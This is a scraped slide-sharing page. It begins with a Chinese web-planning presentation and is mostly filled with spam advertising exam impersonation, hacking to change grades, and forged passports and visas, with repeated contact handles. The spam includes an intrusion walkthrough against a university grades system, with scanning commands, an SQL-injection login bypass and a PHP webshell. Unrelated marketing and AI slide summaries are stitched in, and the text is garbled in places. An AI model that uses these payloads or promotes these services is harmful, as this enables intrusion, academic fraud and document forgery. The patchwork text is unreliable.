架站前一定要上的10堂課 ch1

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Huang Tim

HPX讀書會-架站前一定要上的10堂課導論及第1課：基本法則

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Tim Huang
Email：tim412.huang@gmail.com

架站前一定要上的10堂課：網站企畫成功術當你蓋房子的時候，會先畫藍圖；設計機械裝置時，也會先畫一份運轉示意圖。既然如此，建構一個網站，當然也要先畫出網站規畫藍圖。一份好的規畫藍圖，必須同時考慮商業需求、終端使用者的習慣，以及實際執行的技術，才能滿足所有的需求。不用說，這當中要考慮的因素實在太多太複雜了，因此你必須具備網站規畫的知識，才能妥善安排所有的細節。你不需要會寫程式，但是你要懂得如何跟工程師溝通，提出你的主張，讓你的需求能夠真正實現。

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佐治亚理工学院代考服务详解【微信贬补肠办谤404】佛罗里达州立大学代考,乔治亚大学替考,田纳西州立大学代考,肯塔基州立大学保分替考,阿拉巴马州立大学代考,...【微信VQiChen】澳洲改成绩,澳洲改分,澳大利亚改成绩黑客如何入侵大学网站改成绩的？成绩修改韩国中学成绩修改日本中学成绩修改泰国中学成绩修改美国大学挂科改成绩英国大学挂科改成绩

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滨黑客改成绩的背后：技术炫耀还是经济利益驱动？【微贬补肠办谤404信】教育系统网络安全漏洞：黑客改成绩事件频发的根源【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 为防止黑客入侵修改成绩，教育系统需要从技术和管理两方面入手。技术层面包括部署防火墙、入侵检测系统和数据加密；管理层面则需制定严格的权限管理制度和定期安全审计。只有多管齐下，才能有效防止成绩篡改事件的发生。

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网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 网络钓鱼技术：黑客如何通过伪造页面获取登录信息, 数据篡改工具：黑客如何通过数据库管理工具修改成绩, 文件包含漏洞利用：黑客如何通过恶意文件入侵教务系统, 命令执行漏洞利用：黑客如何通过系统命令修改成绩, 网络欺骗技术：黑客如何通过ARP欺骗窃取数据, 漏洞利用框架：黑客如何通过Metasploit入侵教务系统, 数据泄露技术：黑客如何通过漏洞窃取学生成绩, 文件上传漏洞利用：黑客如何通过恶意文件入侵教务系统, 远程代码执行漏洞：黑客如何通过漏洞在服务器上执行代码, 权限绕过技术：黑客如何通过漏洞绕过身份验证, 数据包重放技术：黑客如何通过重复请求修改成绩, 恶意文件技术：黑客如何通过病毒文件入侵教务系统,SQL注入攻击：黑客如何利用漏洞入侵教务系统修改成绩, XSS跨站脚本攻击：黑客如何通过前端漏洞篡改成绩数据, CSRF跨站请求伪造：黑客如何伪装身份修改GPA, 零日漏洞利用：黑客如何通过未公开漏洞入侵学校系统,暴力破解攻击：黑客如何通过弱密码入侵教务系统, 社会工程学攻击：黑客如何通过伪装获取管理员权限, 中间人攻击：黑客如何窃取教务系统登录信息, 提权攻击：黑客如何通过漏洞提升权限修改成绩

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网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 LSAT考试是申请法学院的必经之路，但其复杂的逻辑与时间压力让许多考生感到焦虑。我们的LSAT代考服务以团队协作为基础，汇集了逻辑、阅读、写作领域的专业人才。每位成员都经过严格筛选与培训，确保能够为客户提供高分保障。我们注重服务的安全性，采用匿名沟通与加密支付，确保客户隐私不被泄露。通过高效的团队合作，我们助力每位客户实现法学院梦想。MCAT考试是申请医学院的重要指标，但其考试难度与竞争压力让许多学生感到焦虑。我们的MCAT替考服务以安全为核心，采用先进的隐私保护技术，确保客户信息绝对保密。团队成员均为MCAT高分持有者，熟悉考试规则与评分标准。通过高效的团队合作，我们为客户提供从报名到成绩交付的一站式服务，确保高效、安全、可靠。SAT成绩是申请美国名校的重要指标，但考试难度与竞争压力让许多学生感到焦虑。我们的SAT代考服务以团队协作为基础，汇集了阅读、数学、写作领域的专业人才。每位成员都经过严格筛选与培训，确保能够为客户提供高分保障。我们注重服务的安全性，采用匿名沟通与加密支付，确保客户隐私不被泄露。通过高效的团队合作，我们助力每位客户实现名校梦想。

学校网站、漏洞扫描、修复指南、【微贬补肠办谤404信】黑客修改成绩教务系统、厂蚕尝注入、黑客修改成绩、防范措施痕迹清理技术：黑客如何隐藏入侵行为【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 数据库提权技术：黑客如何通过SQL语句获取加州大学弗雷斯诺分校管理员权限, 网络监听技术：黑客如何通过嗅探工具窃取加州大学圣马科斯分校登录信息, 漏洞利用链技术：黑客如何通过多个漏洞组合入侵加州大学蒙特雷湾分校教务系统, 数据篡改工具：黑客如何通过数据库漏洞修改加州大学东湾分校GPA文件上传漏洞利用：黑客如何通过恶意文件入侵加州大学多明格斯山分校教务系统, 远程代码执行漏洞：黑客如何通过漏洞在加州大学圣贝纳迪诺分校服务器上执行代码, 权限绕过技术：黑客如何通过漏洞绕过加州大学圣路易斯奥比斯波分校身份验证, 数据包重放技术：黑客如何通过重复请求修改加州大学弗雷斯诺分校成绩, 日志注入攻击：黑客如何通过日志文件隐藏入侵布朗大学的行为, 反向Shell攻击：黑客如何通过远程连接控制华盛顿大学教务系统, 权限提升漏洞：黑客如何通过配置错误修改波士顿大学GPA, 网络钓鱼攻击：黑客如何通过伪造页面获取密歇根大学登录信息,数据篡改攻击：黑客如何通过数据库漏洞修改北卡罗来纳大学托福成绩, 文件包含漏洞：黑客如何通过恶意文件入侵威斯康星大学教务系统, 命令注入攻击：黑客如何通过系统命令修改伊利诺伊大学雅思成绩, 网络欺骗攻击：黑客如何通过ARP欺骗窃取德克萨斯大学教务数据, 漏洞利用工具：黑客如何通过Exploit-DB入侵乔治城大学教务系统, 数据泄露攻击：黑客如何通过漏洞窃取范德堡大学学生成绩黑客入侵教务系统修改成绩怎么找黑客？找黑客帮忙?找黑客改成绩?黑客改分?找黑客改分? 网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 黑客改成绩|找黑客修改成绩英国大学挂科改成绩,澳洲大学挂科改成绩入侵教务系统破解电邮入侵电子邮件破解邮箱密码修改电子邮箱密码窃取密码破解账号入侵方正系统本教材仅供网络安全教学和技术探讨使用，严禁用于任何非法活动。任何因使用本教材内容而导致的违法行为，作者和发布者不承担任何责任。# 黑客入侵网站修改成绩的实操案例 ## 引言本案例将详细模拟一个黑客如何通过技术手段入侵某大学的成绩管理系统并修改成绩的过程。本案例仅用于网络安全教学和技术探讨，严禁用于任何非法活动。通过本案例，读者可以深入了解常见的攻击技术、漏洞利用方法以及痕迹清除手段，从而提高网络安全防护意识。 --- ## 案例背景某大学的成绩管理系统（假设网址为 `grades.university.edu`）存在安全漏洞。黑客通过信息收集、漏洞探测、权限提升和痕迹清除等步骤，成功入侵系统并修改了某位学生的成绩。 --- ## 1. 信息收集 ### 1.1 目标识别黑客首先确定目标为某大学的成绩管理系统，并获取其域名和IP地址。 - **域名**：`grades.university.edu` - **IP地址**：通过 `nslookup` 或 `ping` 命令获取。 ```bash nslookup grades.university.edu ``` ### 1.2 端口扫描使用 `Nmap` 扫描目标服务器的开放端口和服务。 ```bash nmap -sV -p- grades.university.edu ``` 扫描结果： - 80端口：HTTP服务（Apache/2.4.29） - 443端口：HTTPS服务 - 22端口：SSH服务 ### 1.3 目录扫描使用 `Dirb` 或 `Dirbuster` 扫描网站的目录结构，寻找敏感文件或目录。 ```bash dirb http://grades.university.edu ``` 扫描结果： - `/admin`：管理员登录页面 - `/backup`：备份文件目录 - `/uploads`：文件上传目录 --- ## 2. 漏洞探测 ### 2.1 SQL注入漏洞黑客发现管理员登录页面存在SQL注入漏洞。通过输入 `' OR '1'='1`，成功绕过登录验证。 - **登录页面**：`http://grades.university.edu/admin/login.php` - **Payload**： ```sql Username: ' OR '1'='1 Password: ' OR '1'='1 ``` ### 2.2 文件上传漏洞黑客发现文件上传功能未对文件类型进行严格验证，可以通过上传Webshell获取服务器权限。 - **上传页面**：`http://grades.university.edu/uploads/` - **Webshell代码**（`shell.php`）： ```php <?php echo shell_exec($_GET['cmd']); ?> ``` - **上传方法**：将 `shell.php` 伪装成图片文件（如 `shell.jpg`），通过Burp Suite修改文件类型为 `php` 并上传。 --- ## 3. 入侵与权限提升 ### 3.1 Webshell利用黑客通过上传的Webshell执行系统命令，查看服务器上的文件和目录

国外学历代办,教育部学历认证,留学认证服务【微贬补肠办谤404信】办理英国学历,美国学历,法国学历,德国学历认证【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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成绩篡改、SQL注入、日志清理、数据库安全、日志监控【微Hackr404信】黑客入侵、修改成绩、漏洞扫描、社会工程学、网络安全防护【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 近年来，黑客利用技术手段入侵学校系统修改成绩的事件屡见不鲜。这些黑客通常通过漏洞扫描、社会工程学攻击或恶意软件植入等方式获取系统权限，随后修改成绩并清除入侵痕迹。学校应加强网络安全防护，定期更新系统补丁，并对学生和教职工进行网络安全教育，以防止类似事件发生。数据泄露技术：黑客如何通过漏洞窃取加州大学蒙特雷湾分校学生成绩, 提权漏洞利用技术：黑客如何通过SUID漏洞获取加州大学东湾分校管理员权限, 网络扫描工具：黑客如何通过端口扫描发现加州大学多明格斯山分校系统漏洞, 数据包伪造技术：黑客如何通过伪造数据包修改加州大学圣贝纳迪诺分校成绩,

CELI代考服务, CILS替考保分,【微Hackr404信】 PLIDA代考高分保障, TELC替考保过, Goethe-Zertifikat代考安全可...【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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命令执行漏洞【微Hackr404信】黑客如何通过系统命令修改成绩, 网络欺骗技术：黑客如何通过ARP欺骗窃取数据, 漏洞利用框架：黑客如何通过Metasp...【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 阿根廷、智利、墨西哥、南非、埃及、摩洛哥、肯尼亚、尼日利亚、加纳、科特迪瓦等国家的移民或居留证件办理，均涉及一系列具体的申请流程和材料准备。以下是对这些国家移民或居留证件办理情况的详细介绍：阿根廷移民签证的办理，首先需要准备有效的护照、签证申请表、照片、经济状况证明、往返机票等材料。申请人还需证明在阿根廷的居住地址，并根据自身情况提供其他相关文件。提交申请后，需等待阿根廷主管部门的审核，审核通过后方可获得签证。对于智利居留证的办理，常见的途径包括工作签证转居留证、投资者签证以及家庭团聚签证。申请人需准备有效护照、签证或居留许可证的副本、申请表格、财务证明、健康证明和无犯罪记录证明等材料。所有材料需翻译成西班牙语，并提交至智利内政部或相关移民办公室进行审核。墨西哥移民许可的办理需要满足一定的条件，如年满18周岁、无犯罪记录、身体健康等。申请人需准备包括中国身份证副本、护照副本、照片、无犯罪记录公证等在内的相关材料。整个移民流程约6个月左右，需经过申请、审核、领取入境许可文件及公民身份证件等步骤。南非居留卡的申请可以通过多种方式，如工作签证转居留卡、投资移民或家庭团聚签证。申请人需根据具体申请类别准备相关材料，如工作合同、税单、居住证明、投资证明或婚姻证明等。提交申请后，需等待南非内政事务部的审核结果。办理埃及移民签证，首先需要确定签证类别并准备所需申请材料，如有效的护照、签证申请表、与申请事由相关的各种证件等。申请人还需提供往返机票、酒店订单及现金等证明。提交申请后，需等待埃及驻华使领馆的审核结果。制作假新加坡水费单,办理真实马来西亚护照,购买高仿泰国签证,制作假越南身份证,办理真实菲律宾驾照,购买高仿印度绿卡,制作假俄罗斯居留证,办理真实乌克兰水费单,购买高仿土耳其护照,制作假沙特阿拉伯签证

职场霸凌防治及处理案例-动物医院训练教材-詹翔霖副教授「「云云」凶杀命案」.诲辞肠虫https://mypaper.pchome.com.tw/chanrs/post/1381109792

文中指控，壓垮他離職的最後一根稻草是「一場號稱職場霸凌零容忍的會議中，公司負責人親自示範了什麼叫做霸凌。」梁姓技術長痛批，這根本是公司為轉移離職員工Renee被主管霸凌的焦點，公開羞辱、霸凌、潑髒水」。而這段的當眾霸凌羞辱的過程，全程被員工錄下PO上網。即使相處過程有諸多不滿，但梁姓技術長最後仍不忘向負責人喊話：「不知道什麼時候開始你變得對我越來越不信任？但有時候我還是會想起當年那個找我進來幫忙的你，被HR刁難時，可以直接打電話打不平的你，跟共同創辦人吵架後會找我參詳的你，知道你現在不太可能聽得去任何建議，但我的初衷一點都沒變。如果你需要任何的意見，仍然歡迎隨時找我。」最後，梁姓技術長分享過去幫同事們記錄的19支影片，強調「這是我們曾經一起擁有過的美好回憶。」字裡行間透露出對公司深摯的情感。但也或許是說得太多，讓曾姓負責人產生殺意，讓自己斷魂在公司裡。參考資料 1. ? slideshow 反擊職場霸凌-共通核心職能-就業服務法-詹翔霖副教授.pptx 2. /slideshow/docx-255504610/255504610 職場霸凌個案！畜產總經理慘淪清潔工-共通核心職能課程勞動基準法個案-詹翔霖老師.docx 3. ? slideshow 文化大學國企系共通核心職能課程-行為職能(Bc) 4. ? slideshow 職場與職務認知溝通 102.05.00-健椿工業股份有限公司-詹翔霖教授 5. ? slideshow 職場倫理詹翔霖教授 | PPT - 狠狠撸Share 6. ? chanrs

2 风中的树苗：理解与深究（加入第1至第4题）semakan kssr Bahasa cina tahun 1g62042289

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黑客改成绩：如何通过DNS劫持绕过安全防护？【微Hackr404信】从域名解析到流量重定向，揭秘黑客的DNS劫持技术【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 DNS劫持是黑客绕过安全防护的另一种手段。通过篡改DNS解析结果，黑客可以将用户重定向至恶意网站，进而获取其登录凭证。本文详细讲解了DNS劫持的技术原理，并提出了防范措施，如使用DNSSEC、监控DNS查询等。

暴力破解攻击：【微Hackr404信】黑客如何通过弱密码入侵教务系统, 社会工程学攻击：黑客如何通过伪装获取管理员权限, 中间人攻击：黑客如何窃取教务系统...【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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Storytelling For The Web: Integrate Storytelling in your Design ProcessChiara Aliotta

Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...OECD Directorate for Financial and Enterprise Affairs

This presentation by Thibault Schrepel, Associate Professor of Law at Vrije Universiteit Amsterdam University, was made during the discussion “Artificial Intelligence, Data and Competition” held at the 143rd meeting of the OECD Competition Committee on 12 June 2024. More papers and presentations on the topic can be found at oe.cd/aicomp. This presentation was uploaded with the author’s consent.

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网址：www.daikao8.com 【微信：Hackr404】 ? Email：xxxj0654@gmail.com ? WhatsApp: +85254868103 ?? TG: @VIPgpa1 近年来，黑客利用技术手段入侵学校系统修改成绩的事件屡见不鲜。这些黑客通常通过漏洞扫描、社会工程学攻击或恶意软件植入等方式获取系统权限，随后修改成绩并清除入侵痕迹。学校应加强网络安全防护，定期更新系统补丁，并对学生和教职工进行网络安全教育，以防止类似事件发生。数据泄露技术：黑客如何通过漏洞窃取加州大学蒙特雷湾分校学生成绩, 提权漏洞利用技术：黑客如何通过SUID漏洞获取加州大学东湾分校管理员权限, 网络扫描工具：黑客如何通过端口扫描发现加州大学多明格斯山分校系统漏洞, 数据包伪造技术：黑客如何通过伪造数据包修改加州大学圣贝纳迪诺分校成绩,

CELI代考服务, CILS替考保分,【微Hackr404信】 PLIDA代考高分保障, TELC替考保过, Goethe-Zertifikat代考安全可...【微痴辩颈颁丑别苍信】诲补颈办补辞8.肠辞尘

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How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...SocialHRCamp

Speaker: Lydia Di Francesco In this workshop, participants will delve into the realm of AI and its profound potential to revolutionize employee wellness initiatives. From stress management to fostering work-life harmony, AI offers a myriad of innovative tools and strategies that can significantly enhance the wellbeing of employees in any organization. Attendees will learn how to effectively leverage AI technologies to cultivate a healthier, happier, and more productive workforce. Whether it's utilizing AI-powered chatbots for mental health support, implementing data analytics to identify internal, systemic risk factors, or deploying personalized wellness apps, this workshop will equip participants with actionable insights and best practices to harness the power of AI for boosting employee wellness. Join us and discover how AI can be a strategic partner towards a culture of wellbeing and resilience in the workplace.

2024 State of Marketing Report – by HubspotMarius Sescu

https://www.hubspot.com/state-of-marketing · Scaling relationships and proving ROI · Social media is the place for search, sales, and service · Authentic influencer partnerships fuel brand growth · The strongest connections happen via call, click, chat, and camera. · Time saved with AI leads to more creative work · Seeking: A single source of truth · TLDR; Get on social, try AI, and align your systems. · More human marketing, powered by robots

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ChatGPT is a revolutionary addition to the world since its introduction in 2022. A big shift in the sector of information gathering and processing happened because of this chatbot. What is the story of ChatGPT? How is the bot responding to prompts and generating contents? Swipe through these slides prepared by Expeed Software, a web development company regarding the development and technical intricacies of ChatGPT!

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How Race, Age and Gender Shape Attitudes Towards Mental HealthThinkNow

Mental health has been in the news quite a bit lately. Dozens of U.S. states are currently suing Meta for contributing to the youth mental health crisis by inserting addictive features into their products, while the U.S. Surgeon General is touring the nation to bring awareness to the growing epidemic of loneliness and isolation. The country has endured periods of low national morale, such as in the 1970s when high inflation and the energy crisis worsened public sentiment following the Vietnam War. The current mood, however, feels different. Gallup recently reported that national mental health is at an all-time low, with few bright spots to lift spirits. To better understand how Americans are feeling and their attitudes towards mental health in general, ThinkNow conducted a nationally representative quantitative survey of 1,500 respondents and found some interesting differences among ethnic, age and gender groups. Technology For example, 52% agree that technology and social media have a negative impact on mental health, but when broken out by race, 61% of Whites felt technology had a negative effect, and only 48% of Hispanics thought it did. While technology has helped us keep in touch with friends and family in faraway places, it appears to have degraded our ability to connect in person. Staying connected online is a double-edged sword since the same news feed that brings us pictures of the grandkids and fluffy kittens also feeds us news about the wars in Israel and Ukraine, the dysfunction in Washington, the latest mass shooting and the climate crisis. Hispanics may have a built-in defense against the isolation technology breeds, owing to their large, multigenerational households, strong social support systems, and tendency to use social media to stay connected with relatives abroad. Age and Gender When asked how individuals rate their mental health, men rate it higher than women by 11 percentage points, and Baby Boomers rank it highest at 83%, saying it’s good or excellent vs. 57% of Gen Z saying the same. Gen Z spends the most amount of time on social media, so the notion that social media negatively affects mental health appears to be correlated. Unfortunately, Gen Z is also the generation that’s least comfortable discussing mental health concerns with healthcare professionals. Only 40% of them state they’re comfortable discussing their issues with a professional compared to 60% of Millennials and 65% of Boomers. Race Affects Attitudes As seen in previous research conducted by ThinkNow, Asian Americans lag other groups when it comes to awareness of mental health issues. Twenty-four percent of Asian Americans believe that having a mental health issue is a sign of weakness compared to the 16% average for all groups. Asians are also considerably less likely to be aware of mental health services in their communities (42% vs. 55%) and most likely to seek out information on social media (51% vs. 35%).

AI Trends in Creative Operations 2024 by Artwork Flow.pdfmarketingartwork

Creative operations teams expect increased AI use in 2024. Currently, over half of tasks are not AI-enabled, but this is expected to decrease in the coming year. ChatGPT is the most popular AI tool currently. Business leaders are more actively exploring AI benefits than individual contributors. Most respondents do not believe AI will impact workforce size in 2024. However, some inhibitions still exist around AI accuracy and lack of understanding. Creatives primarily want to use AI to save time on mundane tasks and boost productivity.

Skeleton Culture CodeSkeleton Technologies

Organizational culture includes values, norms, systems, symbols, language, assumptions, beliefs, and habits that influence employee behaviors and how people interpret those behaviors. It is important because culture can help or hinder a company's success. Some key aspects of Netflix's culture that help it achieve results include hiring smartly so every position has stars, focusing on attitude over just aptitude, and having a strict policy against peacocks, whiners, and jerks.

PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley

PepsiCo provided a safe harbor statement noting that any forward-looking statements are based on currently available information and are subject to risks and uncertainties. It also provided information on non-GAAP measures and directing readers to its website for disclosure and reconciliation. The document then discussed PepsiCo's business overview, including that it is a global beverage and convenient food company with iconic brands, $91 billion in net revenue in 2023, and nearly $14 billion in core operating profit. It operates through a divisional structure with a focus on local consumers.

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This document provides an overview of content methodology best practices. It defines content methodology as establishing objectives, KPIs, and a culture of continuous learning and iteration. An effective methodology focuses on connecting with audiences, creating optimal content, and optimizing processes. It also discusses why a methodology is needed due to the competitive landscape, proliferation of channels, and opportunities for improvement. Components of an effective methodology include defining objectives and KPIs, audience analysis, identifying opportunities, and evaluating resources. The document concludes with recommendations around creating a content plan, testing and optimizing content over 90 days.

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A report by thenetworkone and Kurio. The contributing experts and agencies are (in an alphabetical order): Sylwia Rytel, Social Media Supervisor, 180heartbeats + JUNG v MATT (PL), Sharlene Jenner, Vice President - Director of Engagement Strategy, Abelson Taylor (USA), Alex Casanovas, Digital Director, Atrevia (ES), Dora Beilin, Senior Social Strategist, Barrett Hoffher (USA), Min Seo, Campaign Director, Brand New Agency (KR), Deshé M. Gully, Associate Strategist, Day One Agency (USA), Francesca Trevisan, Strategist, Different (IT), Trevor Crossman, CX and Digital Transformation Director; Olivia Hussey, Strategic Planner; Simi Srinarula, Social Media Manager, The Hallway (AUS), James Hebbert, Managing Director, Hylink (CN / UK), Mundy ?lvarez, Planning Director; Pedro Rojas, Social Media Manager; Pancho González, CCO, Inbrax (CH), Oana Oprea, Head of Digital Planning, Jam Session Agency (RO), Amy Bottrill, Social Account Director, Launch (UK), Gaby Arriaga, Founder, Leonardo1452 (MX), Shantesh S Row, Creative Director, Liwa (UAE), Rajesh Mehta, Chief Strategy Officer; Dhruv Gaur, Digital Planning Lead; Leonie Mergulhao, Account Supervisor - Social Media & PR, Medulla (IN), Aurelija Plioplyt?, Head of Digital & Social, Not Perfect (LI), Daiana Khaidargaliyeva, Account Manager, Osaka Labs (UK / USA), Stefanie So?hnchen, Vice President Digital, PIABO Communications (DE), Elisabeth Winiartati, Managing Consultant, Head of Global Integrated Communications; Lydia Aprina, Account Manager, Integrated Marketing and Communications; Nita Prabowo, Account Manager, Integrated Marketing and Communications; Okhi, Web Developer, PNTR Group (ID), Kei Obusan, Insights Director; Daffi Ranandi, Insights Manager, Radarr (SG), Gautam Reghunath, Co-founder & CEO, Talented (IN), Donagh Humphreys, Head of Social and Digital Innovation, THINKHOUSE (IRE), Sarah Yim, Strategy Director, Zulu Alpha Kilo (CA).

Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal

The search marketing landscape is evolving rapidly with new technologies, and professionals, like you, rely on innovative paid search strategies to meet changing demands. It’s important that you’re ready to implement new strategies in 2024. Check this out and learn the top trends in paid search advertising that are expected to gain traction, so you can drive higher ROI more efficiently in 2024. You’ll learn: - The latest trends in AI and automation, and what this means for an evolving paid search ecosystem. - New developments in privacy and data regulation. - Emerging ad formats that are expected to make an impact next year. Watch Sreekant Lanka from iQuanti and Irina Klein from OneMain Financial as they dive into the future of paid search and explore the trends, strategies, and technologies that will shape the search marketing landscape. If you’re looking to assess your paid search strategy and design an industry-aligned plan for 2024, then this webinar is for you.

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From their humble beginnings in 1984, TED has grown into the world’s most powerful amplifier for speakers and thought-leaders to share their ideas. They have over 2,400 filmed talks (not including the 30,000+ TEDx videos) freely available online, and have hosted over 17,500 events around the world. With over one billion views in a year, it’s no wonder that so many speakers are looking to TED for ideas on how to share their message more effectively. The article “5 Public-Speaking Tips TED Gives Its Speakers”, by Carmine Gallo for Forbes, gives speakers five practical ways to connect with their audience, and effectively share their ideas on stage. Whether you are gearing up to get on a TED stage yourself, or just want to master the skills that so many of their speakers possess, these tips and quotes from Chris Anderson, the TED Talks Curator, will encourage you to make the most impactful impression on your audience. See the full article and more summaries like this on SpeakerHub here: https://speakerhub.com/blog/5-presentation-tips-ted-gives-its-speakers See the original article on Forbes here: http://www.forbes.com/forbes/welcome/?toURL=http://www.forbes.com/sites/carminegallo/2016/05/06/5-public-speaking-tips-ted-gives-its-speakers/&refURL=&referrer=#5c07a8221d9b

ChatGPT and the Future of Work - Clark Boyd Clark Boyd

Everyone is in agreement that ChatGPT (and other generative AI tools) will shape the future of work. Yet there is little consensus on exactly how, when, and to what extent this technology will change our world. Businesses that extract maximum value from ChatGPT will use it as a collaborative tool for everything from brainstorming to technical maintenance. For individuals, now is the time to pinpoint the skills the future professional will need to thrive in the AI age. Check out this presentation to understand what ChatGPT is, how it will shape the future of work, and how you can prepare to take advantage.

Getting into the tech field. what next Tessa Mero

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Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray

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